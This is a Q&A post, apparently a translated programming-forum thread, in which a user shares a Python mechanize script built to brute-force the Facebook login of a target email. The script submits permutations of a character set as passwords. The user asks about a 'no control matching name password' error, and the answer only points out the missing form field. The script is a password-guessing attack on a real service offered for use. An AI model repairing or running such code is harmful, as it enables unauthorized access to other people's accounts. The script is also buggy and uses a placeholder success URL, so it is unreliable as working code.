蛮力脚本 python 和机械化

brute force script python and mechanize

我正在尝试使用 python 脚本暴力破解 Facebook 登录页面,但是每当我 运行 代码时,我都会收到以下错误。我的代码是:

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email" 
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')

if contnue == 'y':
    combos = itertools.permutations("i3^4hUP-",8)
    br.open("http://www.facebook.com/login/")
    for x in combos:
        br.select_form( nr = 0 )
        br.form['email'] = email 
        br.form['password'] = ''.join(x)
        print "Checking ",br.form['password']
        response=br.submit()
        if response.geturl()=="http://www.example.com/redirected_to_url":
            #url to which the page is redirected after login
            print "Correct password is ",''.join(x)
            break

该脚本使用 mechanize 模块尝试暴力破解默认的 facebook 登录页面。

我的错误堆栈跟踪是:

File "passripper.py", line 83, in <module>
   br.form['password'] = ''.join(x)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'

有人可以解释错误消息的含义吗?

您的错误信息:

mechanize._form.ControlNotFoundError: no control matching name 'password'

尝试阅读它。然后查看您尝试编码的页面。该表单上没有名称为 "password" 的表单域。